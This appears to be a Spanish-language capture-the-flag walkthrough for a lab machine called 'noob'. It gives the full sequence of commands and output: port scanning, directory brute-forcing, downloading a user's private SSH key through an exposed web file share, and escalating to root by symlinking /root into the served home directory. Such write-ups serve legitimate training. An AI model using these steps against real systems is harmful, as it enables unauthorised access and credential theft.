Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.72
❯ nmap -sCV -p22,65530 -oN 02-targeted.txt 192.168.1.72
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-14 14:24 -04
Nmap scan report for 192.168.1.72
Host is up (0.00068s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 66:6a:8e:22:cd:dd:75:52:a6:0a:46:06:bc:df:53:0f (RSA)
| 256 c2:48:46:33:d4:fa:c0:e7:df:de:54:71:58:89:36:e8 (ECDSA)
|_ 256 5e:50:90:71:08:5a:88:62:7e:81:07:c3:9a:c1:c1:c6 (ED25519)
65530/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.64 secondsEnumeramos el servidor web (escrito en Go) con gobuster:
❯ gobuster dir -u 'http://192.168.1.72:65530' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/index (Status: 200) [Size: 19]
/nt4share (Status: 200) [Size: 179]
.../nt4share sirve archivos del sistema. Leemos la id_rsa del usuario y obtenemos su nombre de la clave pública:
❯ curl http://192.168.1.72:65530/index
Hi, You are close!
❯ curl http://192.168.1.72:65530/nt4share/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
❯ curl http://192.168.1.72:65530/nt4share/.ssh/id_rsa.pub
ssh-rsa ... adela@noobNos conectamos por SSH como adela:
❯ curl http://192.168.1.72:65530/nt4share/.ssh/id_rsa -o ./id_rsa
❯ chmod 600 id_rsa
❯ ssh adela@192.168.1.72 -i id_rsa
adela@noob:~$Para escalar, creamos un enlace simbólico de /root en el home (que el servicio web sirve), y leemos la id_rsa de root a través de él:
adela@noob:~$ ln -s /root
adela@noob:~$ ls -l
total 0
lrwxrwxrwx 1 adela adela 5 Apr 14 15:20 root -> /root❯ curl http://192.168.1.72:65530/nt4share/root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
❯ ssh root@192.168.1.72 -i id_rsa_root
root@noob:~#Obtenemos nuestras flags.
Fin.